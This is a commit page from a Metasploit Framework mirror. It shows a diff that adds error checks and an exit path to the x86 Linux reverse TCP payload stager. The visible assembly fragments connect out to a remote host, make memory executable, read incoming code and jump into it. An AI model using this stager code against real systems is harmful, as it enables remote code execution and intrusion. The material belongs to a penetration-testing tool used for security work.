github/metasploit-framework
1
Fork 0
mirror of https://github.com/rapid7/metasploit-framework synced 2024-11-05 14:57:30 +01:00
Code Releases Activity

add error handling to x86 linux reverse tcp

Browse Source
This commit is contained in:
tkmru 2017-06-03 04:04:17 +09:00
parent 9d82e5a9fd
commit 82a83af6c2
1 changed files with 48 additions and 37 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

13
lib/msf/core/payload/linux/reverse_tcp.rb
View File

@ -100,6 +100,8 @@ module Payload::Linux::ReverseTcp
mov al, 0x66
mov ecx, esp
int 0x80 ; sys_socketcall (socket())
test eax, eax
js failed
xchg eax, edi ; store the socket in edi
pop ebx ; set ebx back to zero
@ -114,6 +116,8 @@ module Payload::Linux::ReverseTcp
mov ecx, esp
inc ebx
int 0x80 ; sys_socketcall (connect())
test eax, eax
js failed
^
asm << asm_send_uuid if include_send_uuid
@ -126,6 +130,8 @@ module Payload::Linux::ReverseTcp
shl ebx, 0xc
mov al, 0x7d
int 0x80 ; sys_mprotect
test eax, eax
js failed
pop ebx
mov ecx, esp
@ -133,7 +139,13 @@ module Payload::Linux::ReverseTcp
mov dh, 0xc
mov al, 0x3
int 0x80 ; sys_read (recv())
test eax, eax
js failed
jmp ecx
failed:
mov eax, 0x1
mov ebx, 0x1 ; set exit status to 1
int 0x80 ; sys_exit
^
asm
@ -142,4 +154,3 @@ module Payload::Linux::ReverseTcp
end
end